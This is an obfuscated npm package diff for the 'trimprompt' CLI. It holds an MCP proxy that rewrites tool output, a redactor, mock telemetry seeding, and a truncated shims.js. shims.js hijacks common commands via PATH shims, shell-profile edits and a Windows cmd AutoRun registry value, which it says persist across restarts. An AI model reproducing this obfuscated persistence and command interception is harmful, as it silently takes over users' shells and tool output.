_0x5b52f8=a0_0x29d1;if(_0xd8d8d3===undefined)_0xd8d8d3=_0x2f435c;var _0x2ab935=Object[_0x5b52f8(0x146)](_0x1c1789,_0x2f435c);(!_0x2ab935||(_0x5b52f8(0x147)in _0x2ab935?!_0x1c1789[_0x5b52f8(0x158)]:_0x2ab935['writable']||_0x2ab935['configurable']))&&(_0x2ab935={'enumerable':!![],'get':function(){return _0x1c1789[_0x2f435c];}}),Object['defineProperty'](_0x18d5d4,_0xd8d8d3,_0x2ab935);}:function(_0x41aaea,_0x424887,_0x13d50d,_0x13c596){if(_0x13c596===undefined)_0x13c596=_0x13d50d;_0x41aaea[_0x13c596]=_0x424887[_0x13d50d];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x409785(0x163)]?function(_0x28dad4,_0x1457bc){const _0x2507b2=a0_0x409785;Object[_0x2507b2(0x157)](_0x28dad4,_0x2507b2(0x13f),{'enumerable':!![],'value':_0x1457bc});}:function(_0x2fdcb4,_0x92114e){const _0x25f976=a0_0x409785;_0x2fdcb4[_0x25f976(0x13f)]=_0x92114e;}),__importStar=this&&this['__importStar']||(function(){var _0x40b126=function(_0x1afa44){const _0x55885=a0_0x29d1;return _0x40b126=Object[_0x55885(0x140)]||function(_0x59bd97){const _0x19ffe8=_0x55885;var _0x42f689=[];for(var _0x4180f4 in _0x59bd97)if(Object['prototype']['hasOwnProperty']['call'](_0x59bd97,_0x4180f4))_0x42f689[_0x42f689[_0x19ffe8(0x142)]]=_0x4180f4;return _0x42f689;},_0x40b126(_0x1afa44);};return function(_0x16f247){const _0x24cff7=a0_0x29d1;if(_0x16f247&&_0x16f247['__esModule'])return _0x16f247;var _0x1f82f6={};if(_0x16f247!=null){for(var _0x3b0c2b=_0x40b126(_0x16f247),_0x4f1c9c=0x0;_0x4f1c9c<_0x3b0c2b[_0x24cff7(0x142)];_0x4f1c9c++)if(_0x3b0c2b[_0x4f1c9c]!==_0x24cff7(0x13f))__createBinding(_0x1f82f6,_0x16f247,_0x3b0c2b[_0x4f1c9c]);}return __setModuleDefault(_0x1f82f6,_0x16f247),_0x1f82f6;};}());function a0_0x173b(){const _0x1bd200=['result','default','getOwnPropertyNames','compressOutput','length','redaction_enabled','error','content','getOwnPropertyDescriptor','get','inherit','getConfig','tracker','runMcpProxy','371055oGxfhe','parse','2093480ebmoev','stdin','4562904yjVZBR','pipe','text','1740738zQnLkd','exit','6282688KIbPhR','message','defineProperty','__esModule','write','line','./tracker','spawn','type','readline','stringify','mcp-tool-call','trim','2.0','create','stdout','2993306zYyqhc','isArray','3631586JnYJSZ','10lApkkx'];a0_0x173b=function(){return _0x1bd200;};return a0_0x173b();}Object[a0_0x409785(0x157)](exports,'__esModule',{'value':!![]}),exports[a0_0x409785(0x14b)]=runMcpProxy;const child_process_1=require('child_process'),readline=__importStar(require(a0_0x409785(0x15e))),filters_1=require('./filters'),tracker_1=require(a0_0x409785(0x15b));function runMcpProxy(_0x5eaca6,_0x37bfe3){const _0x5e6aeb=a0_0x409785,_0x4ca79b=(0x0,child_process_1[_0x5e6aeb(0x15c)])(_0x5eaca6,_0x37bfe3,{'stdio':[_0x5e6aeb(0x151),_0x5e6aeb(0x151),_0x5e6aeb(0x148)]});process[_0x5e6aeb(0x14f)][_0x5e6aeb(0x151)](_0x4ca79b[_0x5e6aeb(0x14f)]);const _0x4a0d9c=readline['createInterface']({'input':_0x4ca79b[_0x5e6aeb(0x164)],'terminal':![]});_0x4a0d9c['on'](_0x5e6aeb(0x15a),_0x19c758=>{const _0x424246=_0x5e6aeb;try{const _0x35d586=JSON[_0x424246(0x14d)](_0x19c758);if(_0x35d586&&_0x35d586['jsonrpc']===_0x424246(0x162)&&_0x35d586['id']!==undefined&&_0x35d586[_0x424246(0x13e)]&&Array[_0x424246(0x166)](_0x35d586[_0x424246(0x13e)][_0x424246(0x145)])){let _0x29cc87=![];for(const _0x559348 of _0x35d586[_0x424246(0x13e)][_0x424246(0x145)]){if(_0x559348[_0x424246(0x15d)]==='text'&&typeof _0x559348['text']==='string'&&_0x559348[_0x424246(0x152)][_0x424246(0x161)]()[_0x424246(0x142)]>0x0){const _0x2438da=_0x559348[_0x424246(0x152)],_0x202656=(0x0,filters_1[_0x424246(0x141)])(_0x424246(0x160),_0x2438da,'',tracker_1[_0x424246(0x14a)][_0x424246(0x149)]()[_0x424246(0x143)]);tracker_1['tracker']['logExecution']('mcp\x20tool\x20(id:\x20'+_0x35d586['id']+')',_0x2438da,_0x202656,0x0),_0x559348['text']=_0x202656,_0x29cc87=!![];}}_0x29cc87?process[_0x424246(0x164)][_0x424246(0x159)](JSON[_0x424246(0x15f)](_0x35d586)+'\x0a'):process[_0x424246(0x164)][_0x424246(0x159)](_0x19c758+'\x0a');}else process[_0x424246(0x164)][_0x424246(0x159)](_0x19c758+'\x0a');}catch{process['stdout'][_0x424246(0x159)](_0x19c758+'\x0a');}}),_0x4ca79b['on']('close',_0x145965=>{const _0x58ae98=_0x5e6aeb;process[_0x58ae98(0x154)](_0x145965||0x0);}),_0x4ca79b['on'](_0x5e6aeb(0x144),_0x329c72=>{const _0x1b45b8=_0x5e6aeb;console[_0x1b45b8(0x144)]('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x329c72[_0x1b45b8(0x156)]),process[_0x1b45b8(0x154)](0x1);});}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.14",
3
+ "version": "1.0.15",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1edef7=a0_0x36e6;(function(_0x580aa8,_0x40e50e){const _0x5144e0=a0_0x36e6,_0x408d78=_0x580aa8();while(!![]){try{const _0x55301b=parseInt(_0x5144e0(0xea))/0x1*(-parseInt(_0x5144e0(0xe3))/0x2)+-parseInt(_0x5144e0(0xf4))/0x3*(parseInt(_0x5144e0(0xf1))/0x4)+-parseInt(_0x5144e0(0xdc))/0x5*(parseInt(_0x5144e0(0xde))/0x6)+parseInt(_0x5144e0(0xe8))/0x7+-parseInt(_0x5144e0(0xe0))/0x8*(-parseInt(_0x5144e0(0xef))/0x9)+-parseInt(_0x5144e0(0xf5))/0xa+-parseInt(_0x5144e0(0xe5))/0xb*(-parseInt(_0x5144e0(0xe6))/0xc);if(_0x55301b===_0x40e50e)break;else _0x408d78['push'](_0x408d78['shift']());}catch(_0x49d380){_0x408d78['push'](_0x408d78['shift']());}}}(a0_0x1083,0xd1da2));Object[a0_0x1edef7(0xe2)](exports,'__esModule',{'value':!![]}),exports[a0_0x1edef7(0xf0)]=exports['Redactor']=void 0x0;function a0_0x36e6(_0x443e20,_0x1c20db){_0x443e20=_0x443e20-0xdc;const _0x10831b=a0_0x1083();let _0x36e6bc=_0x10831b[_0x443e20];return _0x36e6bc;}class Redactor{[a0_0x1edef7(0xeb)]=[];constructor(){this['loadDefaultRules']();}[a0_0x1edef7(0xe7)](){const _0x1f5ece=a0_0x1edef7;this[_0x1f5ece(0xeb)]=[{'name':_0x1f5ece(0xec),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x1f5ece(0xe4)},{'name':_0x1f5ece(0xee),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x1f5ece(0xf3)},{'name':_0x1f5ece(0xed),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x1f5ece(0xdf)},{'name':_0x1f5ece(0xe9),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x1f5ece(0xdd)}];}['redact'](_0x3846dc){const _0x27bff0=a0_0x1edef7;let _0x409180=_0x3846dc;for(const _0x451f4a of this[_0x27bff0(0xeb)]){_0x409180=_0x409180[_0x27bff0(0xf2)](_0x451f4a['regex'],_0x451f4a['replacement']);}return _0x409180;}}function a0_0x1083(){const _0x2de5c0=['5601416Ejcciq','replace','$1:\x20[REDACTED_CREDENTIAL]','3JDPJvO','16855420iTdwEf','10kEzWLf','[REDACTED_EMAIL]','3555996FKFiPi','[REDACTED_IP]','1024QlzQnF','Redactor','defineProperty','2AZlZps','[REDACTED_DB_CONNECTION_STRING]','26708ODxbey','23244hXVnVl','loadDefaultRules','2231649ViKSlq','Email\x20Address','999029RwjnLE','rules','Database\x20Connection\x20String','IPv4\x20Address','API\x20Key\x20or\x20Password','77904rQNTVB','redactor'];a0_0x1083=function(){return _0x2de5c0;};return a0_0x1083();}exports[a0_0x1edef7(0xe1)]=Redactor,exports[a0_0x1edef7(0xf0)]=new Redactor();
1
+ 'use strict';const a0_0x4943c2=a0_0x3bfa;(function(_0x5b63f2,_0x32969c){const _0x5955c7=a0_0x3bfa,_0x49086b=_0x5b63f2();while(!![]){try{const _0x354b20=parseInt(_0x5955c7(0x8f))/0x1+parseInt(_0x5955c7(0x8b))/0x2+parseInt(_0x5955c7(0x88))/0x3+-parseInt(_0x5955c7(0x9b))/0x4+parseInt(_0x5955c7(0x9d))/0x5+-parseInt(_0x5955c7(0x91))/0x6*(parseInt(_0x5955c7(0x89))/0x7)+-parseInt(_0x5955c7(0x93))/0x8;if(_0x354b20===_0x32969c)break;else _0x49086b['push'](_0x49086b['shift']());}catch(_0x1787d6){_0x49086b['push'](_0x49086b['shift']());}}}(a0_0x238c,0x52e90));Object['defineProperty'](exports,a0_0x4943c2(0x96),{'value':!![]}),exports[a0_0x4943c2(0x97)]=exports[a0_0x4943c2(0x8d)]=void 0x0;function a0_0x3bfa(_0x13321c,_0x281e40){_0x13321c=_0x13321c-0x88;const _0x238c1f=a0_0x238c();let _0x3bfaf6=_0x238c1f[_0x13321c];return _0x3bfaf6;}class Redactor{['rules']=[];constructor(){const _0x4115b4=a0_0x4943c2;this[_0x4115b4(0x92)]();}['loadDefaultRules'](){const _0x1ab6a6=a0_0x4943c2;this[_0x1ab6a6(0x9c)]=[{'name':_0x1ab6a6(0x98),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x1ab6a6(0x95)},{'name':_0x1ab6a6(0x9e),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x1ab6a6(0x90)},{'name':_0x1ab6a6(0x99),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x1ab6a6(0x8a)},{'name':'Email\x20Address','regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x1ab6a6(0x94)}];}[a0_0x4943c2(0x8c)](_0x48a749){const _0x236c4a=a0_0x4943c2;let _0x210067=_0x48a749;for(const _0x45a0f1 of this[_0x236c4a(0x9c)]){_0x210067=_0x210067['replace'](_0x45a0f1[_0x236c4a(0x8e)],_0x45a0f1[_0x236c4a(0x9a)]);}return _0x210067;}}exports[a0_0x4943c2(0x8d)]=Redactor,exports[a0_0x4943c2(0x97)]=new Redactor();function a0_0x238c(){const _0x19c842=['[REDACTED_IP]','1001482CYFxvA','redact','Redactor','regex','506878wylJvA','$1:\x20[REDACTED_CREDENTIAL]','654mAdjCk','loadDefaultRules','4263592IloKHC','[REDACTED_EMAIL]','[REDACTED_DB_CONNECTION_STRING]','__esModule','redactor','Database\x20Connection\x20String','IPv4\x20Address','replacement','1645812mogYQH','rules','2320430eTAJLp','API\x20Key\x20or\x20Password','316521SVRLqC','18830DBYuvk'];a0_0x238c=function(){return _0x19c842;};return a0_0x238c();}
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x490ebe=a0_0x2f16;(function(_0x6d3703,_0x362bd9){const _0x514658=a0_0x2f16,_0x21bfcb=_0x6d3703();while(!![]){try{const _0x3eeacd=-parseInt(_0x514658(0xfa))/0x1*(parseInt(_0x514658(0x108))/0x2)+-parseInt(_0x514658(0x111))/0x3*(-parseInt(_0x514658(0x10a))/0x4)+parseInt(_0x514658(0x102))/0x5+-parseInt(_0x514658(0x101))/0x6+-parseInt(_0x514658(0x10c))/0x7*(parseInt(_0x514658(0xf6))/0x8)+parseInt(_0x514658(0xfc))/0x9*(parseInt(_0x514658(0xf2))/0xa)+parseInt(_0x514658(0x104))/0xb;if(_0x3eeacd===_0x362bd9)break;else _0x21bfcb['push'](_0x21bfcb['shift']());}catch(_0x2bd774){_0x21bfcb['push'](_0x21bfcb['shift']());}}}(a0_0x2c54,0x4ec3d));function a0_0x2c54(){const _0x448ccb=['170cpXLfm','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','4EGcSIG','gemini-1-5-pro','1015847YFMvUU','logExecution','pytest\x20tests/app','./tracker','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','434670wMwrQB','test_auth.py\x20PASS\x0a','claude-3-opus','docker\x20build\x20.','npm\x20run\x20build','tracker','8890OuRJPN','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','[INFO]\x20Building\x20modules...\x0a','log','8yStttE','defineProperty','gpt-4o','test_db.py\x20PASS\x0a','2705nTRwge','repeat','2457JPMIZW','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','__esModule','test_api.py\x20PASS\x0a','All\x20303\x20tests\x20passed\x20in\x204.22s.','3617508CLgNkN','41475pnoocT','Compilation\x20Output:\x0a','9951733qXCTlT','Test\x20suite\x20run\x20starting...\x0a','Database\x20successfully\x20seeded!','Successfully\x20built\x20image.'];a0_0x2c54=function(){return _0x448ccb;};return a0_0x2c54();}Object[a0_0x490ebe(0xf7)](exports,a0_0x490ebe(0xfe),{'value':!![]});function a0_0x2f16(_0x4b9f31,_0xebd5f9){_0x4b9f31=_0x4b9f31-0xf1;const _0x2c54df=a0_0x2c54();let _0x2f169c=_0x2c54df[_0x4b9f31];return _0x2f169c;}const tracker_1=require(a0_0x490ebe(0x10f));console[a0_0x490ebe(0xf5)](a0_0x490ebe(0x109)),process.env.TRIMPROMPT_MODEL=a0_0x490ebe(0x113),tracker_1[a0_0x490ebe(0xf1)][a0_0x490ebe(0x10d)](a0_0x490ebe(0x115),a0_0x490ebe(0x103)+a0_0x490ebe(0xf4)+'Optimizing\x20assets...\x0a'+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'[a0_0x490ebe(0xfb)](0x190),a0_0x490ebe(0xf3),0x0),process.env.TRIMPROMPT_MODEL=a0_0x490ebe(0xf8),tracker_1[a0_0x490ebe(0xf1)][a0_0x490ebe(0x10d)](a0_0x490ebe(0x10e),a0_0x490ebe(0x105)+a0_0x490ebe(0x112)+a0_0x490ebe(0xf9)+a0_0x490ebe(0xff)[a0_0x490ebe(0xfb)](0x12c)+a0_0x490ebe(0x100),a0_0x490ebe(0x110),0x0),process.env.TRIMPROMPT_MODEL=a0_0x490ebe(0x10b),tracker_1[a0_0x490ebe(0xf1)][a0_0x490ebe(0x10d)](a0_0x490ebe(0x114),'Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a'+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+'Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a'+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x490ebe(0xfb)](0x3)+a0_0x490ebe(0x107),a0_0x490ebe(0xfd),0x0),console[a0_0x490ebe(0xf5)](a0_0x490ebe(0x106));
1
+ 'use strict';const a0_0x52c2c8=a0_0x28c1;(function(_0x4ff107,_0x5e2327){const _0x222b45=a0_0x28c1,_0x48873d=_0x4ff107();while(!![]){try{const _0x200fa3=-parseInt(_0x222b45(0x1f1))/0x1*(-parseInt(_0x222b45(0x1f0))/0x2)+parseInt(_0x222b45(0x1dd))/0x3+parseInt(_0x222b45(0x1f8))/0x4+-parseInt(_0x222b45(0x1ec))/0x5+parseInt(_0x222b45(0x1f4))/0x6*(-parseInt(_0x222b45(0x1ee))/0x7)+-parseInt(_0x222b45(0x1f6))/0x8+parseInt(_0x222b45(0x1f9))/0x9*(parseInt(_0x222b45(0x1f7))/0xa);if(_0x200fa3===_0x5e2327)break;else _0x48873d['push'](_0x48873d['shift']());}catch(_0x8dd63b){_0x48873d['push'](_0x48873d['shift']());}}}(a0_0x3e0f,0xbcc53));function a0_0x28c1(_0x5a4169,_0x2c9b44){_0x5a4169=_0x5a4169-0x1dc;const _0x3e0fa7=a0_0x3e0f();let _0x28c14f=_0x3e0fa7[_0x5a4169];return _0x28c14f;}Object[a0_0x52c2c8(0x202)](exports,a0_0x52c2c8(0x1dc),{'value':!![]});const tracker_1=require(a0_0x52c2c8(0x1e5));console['log'](a0_0x52c2c8(0x1ea)),process.env.TRIMPROMPT_MODEL=a0_0x52c2c8(0x1ff),tracker_1['tracker'][a0_0x52c2c8(0x1e1)](a0_0x52c2c8(0x1fa),a0_0x52c2c8(0x203)+a0_0x52c2c8(0x200)+a0_0x52c2c8(0x1fd)+a0_0x52c2c8(0x1e8)[a0_0x52c2c8(0x1fc)](0x190),a0_0x52c2c8(0x1fe),0x0),process.env.TRIMPROMPT_MODEL=a0_0x52c2c8(0x1e9),tracker_1[a0_0x52c2c8(0x1e6)][a0_0x52c2c8(0x1e1)](a0_0x52c2c8(0x1e3),a0_0x52c2c8(0x1ef)+a0_0x52c2c8(0x1e7)+a0_0x52c2c8(0x1f2)+'test_api.py\x20PASS\x0a'[a0_0x52c2c8(0x1fc)](0x12c)+a0_0x52c2c8(0x1ed),a0_0x52c2c8(0x1eb),0x0),process.env.TRIMPROMPT_MODEL=a0_0x52c2c8(0x1e2),tracker_1[a0_0x52c2c8(0x1e6)][a0_0x52c2c8(0x1e1)](a0_0x52c2c8(0x1f3),a0_0x52c2c8(0x1fb)+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+a0_0x52c2c8(0x1e4)+a0_0x52c2c8(0x1df)+a0_0x52c2c8(0x1e0)[a0_0x52c2c8(0x1fc)](0x3)+a0_0x52c2c8(0x201),a0_0x52c2c8(0x1de),0x0),console[a0_0x52c2c8(0x204)](a0_0x52c2c8(0x1f5));function a0_0x3e0f(){const _0x4a608f=['gemini-1-5-pro','pytest\x20tests/app','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','./tracker','tracker','test_auth.py\x20PASS\x0a','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','gpt-4o','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','4466470CgPjlj','All\x20303\x20tests\x20passed\x20in\x204.22s.','7LjokMS','Test\x20suite\x20run\x20starting...\x0a','10966uCuOsn','83pJVRqg','test_db.py\x20PASS\x0a','docker\x20build\x20.','4680162nyPXCK','Database\x20successfully\x20seeded!','3878584fdGJWQ','170080ANhlmz','2419152ACsRKg','207mLOqTV','npm\x20run\x20build','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','repeat','Optimizing\x20assets...\x0a','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','claude-3-opus','[INFO]\x20Building\x20modules...\x0a','Successfully\x20built\x20image.','defineProperty','Compilation\x20Output:\x0a','log','__esModule','4440858HujZwp','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','added\x201420\x20packages\x20in\x2014s\x0a','logExecution'];a0_0x3e0f=function(){return _0x4a608f;};return a0_0x3e0f();}
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x3da6f7=a0_0x25cb;(function(_0xf5f27e,_0x212c41){const _0x2efbfc=a0_0x25cb,_0x1f8dfd=_0xf5f27e();while(!![]){try{const _0x1367fb=-parseInt(_0x2efbfc(0x15b))/0x1*(parseInt(_0x2efbfc(0x198))/0x2)+-parseInt(_0x2efbfc(0x18c))/0x3*(-parseInt(_0x2efbfc(0x1a5))/0x4)+-parseInt(_0x2efbfc(0x150))/0x5+parseInt(_0x2efbfc(0x1ac))/0x6+-parseInt(_0x2efbfc(0x16a))/0x7+parseInt(_0x2efbfc(0x153))/0x8+parseInt(_0x2efbfc(0x17e))/0x9;if(_0x1367fb===_0x212c41)break;else _0x1f8dfd['push'](_0x1f8dfd['shift']());}catch(_0xa16f74){_0x1f8dfd['push'](_0x1f8dfd['shift']());}}}(a0_0xa41f,0xb9f6e));var __createBinding=this&&this[a0_0x3da6f7(0x164)]||(Object[a0_0x3da6f7(0x1aa)]?function(_0x219efe,_0x203d28,_0x2d0125,_0x3b4449){const _0x472f9e=a0_0x3da6f7;if(_0x3b4449===undefined)_0x3b4449=_0x2d0125;var _0x244bac=Object[_0x472f9e(0x14e)](_0x203d28,_0x2d0125);(!_0x244bac||(_0x472f9e(0x199)in _0x244bac?!_0x203d28[_0x472f9e(0x1b3)]:_0x244bac[_0x472f9e(0x13c)]||_0x244bac[_0x472f9e(0x14d)]))&&(_0x244bac={'enumerable':!![],'get':function(){return _0x203d28[_0x2d0125];}}),Object[_0x472f9e(0x1a9)](_0x219efe,_0x3b4449,_0x244bac);}:function(_0x630bca,_0x3d9940,_0x27f7fa,_0x18dac6){if(_0x18dac6===undefined)_0x18dac6=_0x27f7fa;_0x630bca[_0x18dac6]=_0x3d9940[_0x27f7fa];}),__setModuleDefault=this&&this[a0_0x3da6f7(0x16b)]||(Object[a0_0x3da6f7(0x1aa)]?function(_0x3c2b14,_0x473d3a){const _0x1b06fd=a0_0x3da6f7;Object[_0x1b06fd(0x1a9)](_0x3c2b14,_0x1b06fd(0x19e),{'enumerable':!![],'value':_0x473d3a});}:function(_0x34023f,_0xdbf850){const _0x4c773f=a0_0x3da6f7;_0x34023f[_0x4c773f(0x19e)]=_0xdbf850;}),__importStar=this&&this['__importStar']||(function(){var _0x387677=function(_0x146522){const _0x37b294=a0_0x25cb;return _0x387677=Object[_0x37b294(0x161)]||function(_0x1f7570){const _0x46e912=_0x37b294;var _0x3aaa4b=[];for(var _0x488f46 in _0x1f7570)if(Object[_0x46e912(0x154)]['hasOwnProperty'][_0x46e912(0x183)](_0x1f7570,_0x488f46))_0x3aaa4b[_0x3aaa4b[_0x46e912(0x166)]]=_0x488f46;return _0x3aaa4b;},_0x387677(_0x146522);};return function(_0x2073ee){const _0x469fa0=a0_0x25cb;if(_0x2073ee&&_0x2073ee[_0x469fa0(0x1b3)])return _0x2073ee;var _0x2d825e={};if(_0x2073ee!=null){for(var _0x56643d=_0x387677(_0x2073ee),_0x4c4439=0x0;_0x4c4439<_0x56643d['length'];_0x4c4439++)if(_0x56643d[_0x4c4439]!==_0x469fa0(0x19e))__createBinding(_0x2d825e,_0x2073ee,_0x56643d[_0x4c4439]);}return __setModuleDefault(_0x2d825e,_0x2073ee),_0x2d825e;};}());Object[a0_0x3da6f7(0x1a9)](exports,a0_0x3da6f7(0x1b3),{'value':!![]}),exports[a0_0x3da6f7(0x140)]=installShims,exports[a0_0x3da6f7(0x193)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3da6f7(0x146))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls','tree','cat',a0_0x3da6f7(0x1ab),a0_0x3da6f7(0x15a),'rg',a0_0x3da6f7(0x17d),a0_0x3da6f7(0x18d),'gh',a0_0x3da6f7(0x1a3),a0_0x3da6f7(0x184),'npm',a0_0x3da6f7(0x160),'npx',a0_0x3da6f7(0x1a6),a0_0x3da6f7(0x162),a0_0x3da6f7(0x1a4),a0_0x3da6f7(0x187),'pip',a0_0x3da6f7(0x177),'go'],PROFILE_MARKER=a0_0x3da6f7(0x1b1);function getExecSync(){const _0x470a70=a0_0x3da6f7;return require(_0x470a70(0x194))['execSync'];}function getExecFileSync(){const _0x415d2c=a0_0x3da6f7;return require(_0x415d2c(0x194))[_0x415d2c(0x14f)];}function ensureProfileContains(_0xf493fa,_0x3cd068,_0x4dde83){const _0x482b19=a0_0x3da6f7;try{const _0x211579=path[_0x482b19(0x157)](_0xf493fa);!fs['existsSync'](_0x211579)&&fs[_0x482b19(0x171)](_0x211579,{'recursive':!![]});if(fs['existsSync'](_0xf493fa)){const _0x48ee09=fs['readFileSync'](_0xf493fa,_0x482b19(0x1b2));if(_0x48ee09[_0x482b19(0x19f)](_0x3cd068))return;fs[_0x482b19(0x1af)](_0xf493fa,_0x4dde83,'utf8');}else fs[_0x482b19(0x156)](_0xf493fa,_0x4dde83,_0x482b19(0x1b2));}catch{}}function removeProfileBlock(_0x30c4c1,_0x29ce80){const _0x454ea9=a0_0x3da6f7;try{if(!fs[_0x454ea9(0x1a0)](_0x30c4c1))return;const _0x523dd7=fs['readFileSync'](_0x30c4c1,_0x454ea9(0x1b2));if(!_0x523dd7[_0x454ea9(0x19f)](_0x29ce80))return;const _0x47b369=_0x523dd7[_0x454ea9(0x196)]('\x0a'),_0x4f4b34=[];let _0x451010=![];for(let _0x4c5219=0x0;_0x4c5219<_0x47b369[_0x454ea9(0x166)];_0x4c5219++){if(_0x47b369[_0x4c5219]['includes'](_0x29ce80)){_0x451010=!![];continue;}if(_0x451010){_0x451010=![];continue;}_0x4f4b34[_0x454ea9(0x18b)](_0x47b369[_0x4c5219]);}const _0x354324=_0x4f4b34[_0x454ea9(0x16c)]('\x0a')[_0x454ea9(0x13d)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x30c4c1,_0x354324,_0x454ea9(0x1b2));}catch{}}function a0_0xa41f(){const _0x76277d=['powershell\x20-NoProfile\x20-Command\x20\x22','\x20\x20trim\x20','506424uxpydo','prototype','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','writeFileSync','dirname','trim.cmd','\x20\x22$@\x22;\x20fi\x0a','grep','3vMImpo','homedir','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','$PROFILE.CurrentUserAllHosts','npm','pnpm','getOwnPropertyNames','kubectl','-Command','__createBinding','win32','length','if\x20exist\x20\x22','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','export\x20PATH=\x22','9215906jVDTDM','__setModuleDefault','join','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','\x20commands.\x0a\x0a','chmodSync','-NoProfile','mkdirSync','some','filter',';\x22\x20+\x20$env:PATH\x0a','\x0a#\x20','platform','pip3','shims','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','\x20%*','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','.bashrc','ruff','11272842JFbGfQ','.cmd','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27',':$PATH\x22','$PROFILE.CurrentUserCurrentHost','call','cargo','.profile','trim','pytest','755','.bash_profile','pwsh','push','3cgRmUg','git',';=%\x22','@echo\x20off','\x20&\x20','\x27,\x20\x27User\x27)','.zshrc','uninstallShims','child_process','toLowerCase','split','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','299678cpMvff','get','map','trim.ps1','rmdirSync','\x0aexport\x20PATH=\x22','default','includes','existsSync','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','glab','docker','3671752pNhBfb','yarn','readdirSync','Remove-ItemProperty\x20-Path\x20\x27','defineProperty','create','read','9086346FqxcsD','Failed\x20to\x20install\x20shims:\x20','ignore','appendFileSync','pipe','TrimPrompt\x20Shims\x20PATH','utf8','__esModule','\x20@args\x20}\x0a','powershell.exe','Set-ItemProperty\x20-Path\x20\x27','writable','replace','message','\x20@args\x20}\x20else\x20{\x20&\x20','installShims','unlinkSync','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x2